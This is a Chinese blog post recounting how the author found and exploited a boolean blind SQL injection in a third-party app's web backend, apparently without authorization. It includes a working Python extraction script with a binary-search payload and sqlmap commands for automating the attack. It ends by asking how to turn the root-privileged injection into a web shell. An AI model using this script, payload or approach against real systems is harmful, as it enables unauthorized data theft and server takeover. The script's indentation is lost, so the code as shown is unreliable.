Mid Station

MYSQL Blind Injectino tricks

最近遇到一个比较有意思的注入点,可以说通过这个注入点的深入挖掘对SQL语句的运用,SQL注入的原理乃至MySQL数据库的特点都有了比较完整的认识。
接下来简单记录以下发现及利用的过程。
#0x01 发现
不是我吹牛,这个注入点属于可遇不可求的那种:),用一般扫描器是绝对扫不到的,也许也只有无聊的人会用这么愚蠢的方法找注入点,无计可施的情形下找到这样的漏洞说不定也真是运气好。
目标站是某APP的web后台,注册后挂上BurpSuite代理随便翻翻,后来发现一个POST包,只有一个参数。加单引号报错,加两个单引号就不报错了,这下有一半把握是注入了。再尝试构造合法SQL语句检测,如图:

imgimg
imgimg
眼瞎,起初只是发现response的长度不同(其实根据这个来判断已经足够),后来仔细查看才发现如图中红色标注的区别:条件为真返回adminPrivates的一个值,条件为假则没有。
#0x02 初步利用
确认有注入就开始利用了,一开始是直接包POST保存下来扔到SQLMAP自动检测,结果死活检测不出,差点就放弃了。仔细想想,既然原理是对的,漏洞肯定存在,实在不行就自己写EXP。于是调高了SQLMAP的level,这下检测出来了stacked-query,但是还是time-based的,速度慢不说,还容易把网站睡死。
接下来就上乌云翻了lijiejie常说的盲注脚本,照葫画瓢地写了个EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#encoding=utf-8

import httplib
import time
import string
import sys
import random
import urllib

headers = {'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
'Cookie': ''}

pwdletters = '\0!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz~'

letters = '\0#0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz~'

numletters = '\0#0123456789'

print 'Start... '


def test(payload, count, num, letter):
s ="' ) and (select ascii((substr((%s limit %d,1),%d,1)))>ascii('%s'))-- -" % (payload, count,num,letter) # acsii version

body = "userId=u159712%s" % urllib.quote(s)
conn = httplib.HTTPSConnection('xxx.xxx.com', timeout=10)
conn.request(method='POST',
url='/xxx/xxx-info',
body=body,
headers=headers)
response = conn.getresponse()
content = response.read()
print "%s : %d" %(letter, len(content))
if len(content) > 4376: # change this value according to the response length
return True #the letter should be larger than this guess
else:
return False

def BinSearch(payload,length,count):
output = open('result.txt','a')
output.write('\n'+payload+'::'+str(count)+'\n')
print payload
for i in range(1,length+1):
low = 0
high = len(pwdletters) - 1
while (low != high):
mid = (low+high)/2
if (test(payload,count, i, pwdletters[mid])):
low = mid + 1
else:
high = mid
print "\033[1;32m%s\033[0m" % (pwdletters[low])
output.write(pwdletters[low])
if (high == 0):
break
output.write('\n')
output.close()
print "[*] Finish!"

第一版代码知识简单遍历每个字母的ascii码来获取数据,后来改进了,使用二分法,发送请求明显减少。使用的话首先要注意条件为真和假是返回数据包的长度,代码本身就不是写得很好,又比较心急,每次调用都是用ipython,import 这个py文件,然后调用BinSearch函数来获取数据,这样用shell来操作有个好处就是用SQL查询语句作为payload而且方便更改。当初凑”‘ ) and (select ascii((substr((%s limit %d,1),%d,1)))>ascii(‘%s’))– -“这个payload可是花了不少时间。
#0x03 另一种方法
后来发现他们说的没错,蠢人就是喜欢重复造轮子。SQLMAP明明就可以直接搞定这种漏洞啊,何必自己写EXP?要用到的参数是–string,用户可以通过–string设定条件为真时候页面出现的字符串,观察response这里要填的就是–string=”_pa”(简单又足够区分真假条件)。

1
python sqlmap.py -u "" --data="" --cookie="" --string="_pa"

基本命令格式就是这样,待确认漏洞类型以后,可以指定–technique=B来进行盲注,就不用忍受慢吞吞的time-based了,还可以用–threads=来进行多线程,速度提升明显。
#0x04 总结&后话
虽然一开始写EXP是比较蠢,但是通过动手熟悉了注入payload的构造,也是一种提高。值得一提的是,这是一个root权限的注入点,可是数据库里保存的用密码是用类似AES256的算法加密的,应该还加了salt。既搞不到管理员账号又找不到后台。最后一条路就是用root读写权限直接写shell,可是用尽办法都找不到网站物理路径。在root权限注入点下,还有办法get shell吗?